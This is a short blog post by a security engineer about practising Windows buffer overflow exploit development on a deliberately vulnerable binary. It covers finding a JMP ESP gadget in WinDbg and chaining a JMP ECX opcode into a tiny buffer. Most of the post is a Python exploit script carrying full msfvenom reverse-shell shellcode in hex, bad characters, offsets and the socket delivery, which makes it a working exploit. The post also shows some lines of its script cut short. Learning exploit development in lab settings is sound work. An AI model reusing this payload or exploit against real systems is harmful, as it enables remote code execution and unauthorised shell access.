12 Mar 2022

Exploit Dev practice - tiny buffer; leverage existing register values

Going back to learn more about things i really enjoy (exploit development) rather than spending so much time on the things i mostly do at work (infrastructure).

The learnings from this entry level binary were:

  • reminder to look for interesting values that have been left in registers.
  • if the JMP you need is not available free of protections look for opportunies with other convienient instructions. For example - JMP ESP was available in the space made by a binary without protections; JMP ECX instruction was not available but is what we wanted to do; Leverage the JMP ESP and small space available to add own JMP ECX instruction in the shellcode.

The binary: We can see that the EIP overwrite (the “B”’s in the example) are right at the back of our shellcode, leaving very little room to keep moving in a serial manner.


We have EIP and can now look to identify some useful instructions. If we could jump right to ECX (JMP ECX is 0xff, 0xe1) we’d be in great shape but it appears that is not possible; at least not in any loaded module without memory protections involved. Our only option for no protections is the process binary itself:

0:008> lm m examplebinary2
Browse full module list
start    end        module name
14800000 14816000   examplebinary2 C (no symbols)           

0:008> s -b 14800000 14816000 0xff 0xe1

Thankfully, a JMP ESP is available though:

0:008> s -b 14800000 14816000 0xff 0xe4
1480113d  ff e4 83 7d ec 00 75 03-58 5b c3 5b 8b e5 5d c3  ...}..u.X[.[..].

With that and the 12 bytes available behind the EIP overwrite it is possible to add the JMP ECX instruction to the shellcode. This lands at the start of the user supplied buffer. A large chunk of NOPS are placed before and after the shellcode just to be sure since there is plenty of room available.

import socket
  print("\nSending evil buffer...")
  # badchars "\x3b\x45"
  # JMP ESP instruction at 1480113d in the process binary
  # JMP ECX OP Codes: FFE1
  # 351 bytes - msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 -f c -b "\x00\x3b\x45" EXITFUNC=process
  shellcode = b"\xbb\xe1\xb5\x95\x63\xdb\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\x23\xb1"
  shellcode += b"\x77\x96\x5f\x52\xf5\x59\x9f\xa3\x9a\xd0\x7a\x92\x9a\x87\x0f\x85\x2a\xc3\x5d\x2a\xc0\x81\x75\xb9\xa4"
  shellcode += b"\x0d\x7a\x0a\x02\x68\xb5\x8b\x3f\x48\xd4\x0f\x42\x9d\x36\x31\x8d\xd0\x37\x76\xf0\x19\x65\x2f\x7e\x8f"
  shellcode += b"\x99\x44\xca\x0c\x12\x16\xda\x14\xc7\xef\xdd\x35\x56\x7b\x84\x95\x59\xa8\xbc\x9f\x41\xad\xf9\x56\xfa"
  shellcode += b"\x05\x75\x69\x2a\x54\x76\xc6\x13\x58\x85\x16\x54\x5f\x76\x6d\xac\xa3\x0b\x76\x6b\xd9\xd7\xf3\x6f\x79"
  shellcode += b"\x93\xa4\x4b\x7b\x70\x32\x18\x77\x3d\x30\x46\x94\xc0\x95\xfd\xa0\x49\x18\xd1\x20\x09\x3f\xf5\x69\xc9"
  shellcode += b"\x5e\xac\xd7\xbc\x5f\xae\xb7\x61\xfa\xa5\x5a\x75\x77\xe4\x32\xba\xba\x16\xc3\xd4\xcd\x65\xf1\x7b\x66"
  shellcode += b"\xe1\xb9\xf4\xa0\xf6\xbe\x2e\x14\x68\x41\xd1\x65\xa1\x86\x85\x35\xd9\x2f\xa6\xdd\x19\xcf\x73\x71\x49"
  shellcode += b"\x7f\x2c\x32\x39\x3f\x9c\xda\x53\xb0\xc3\xfb\x5c\x1a\x6c\x91\xa7\xcd\x53\xce\xa6\x4f\x3c\x0d\xa8\x5e"
  shellcode += b"\xe0\x98\x4e\x0a\x08\xcd\xd9\xa3\xb1\x54\x91\x52\x3d\x43\xdc\x55\xb5\x60\x21\x1b\x3e\x0c\x31\xcc\xce"
  shellcode += b"\x5b\x6b\x5b\xd0\x71\x03\x07\x43\x1e\xd3\x4e\x78\x89\x84\x07\x4e\xc0\x40\xba\xe9\x7a\x76\x47\x6f\x44"
  shellcode += b"\x32\x9c\x4c\x4b\xbb\x51\xe8\x6f\xab\xaf\xf1\x2b\x9f\x7f\xa4\xe5\x49\xc6\x1e\x44\x23\x90\xcd\x0e\xa3"
  shellcode += b"\x65\x3e\x91\xb5\x69\x6b\x67\x59\xdb\xc2\x3e\x66\xd4\x82\xb6\x1f\x08\x33\x38\xca\x88\x43\x73\x56\xb8"
  shellcode += b"\xcb\xda\x03\xf8\x91\xdc\xfe\x3f\xac\x5e\x0a\xc0\x4b\x7e\x7f\xc5\x10\x38\x6c\xb7\x09\xad\x92\x64\x29\xe4"
  buffer = b"\x90" * 400 #Lots of room.
  buffer += shellcode
  buffer += b"\x90" * (2080 - 400 - len(shellcode) )
  buffer += b"\x3d\x11\x80\x14" # JMP ESP - EIP at 2080
  buffer += b"\xff\xe1" # we add a JMP ECX right after the JMP ESP; ECX points to the start of our buffer (line 27).
  buffer += b"\x90" * (2096 - 2080 - 4 - 5)
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("", 7002))
  print("\nCould not connect!")

Chad Duffey

Security Engineer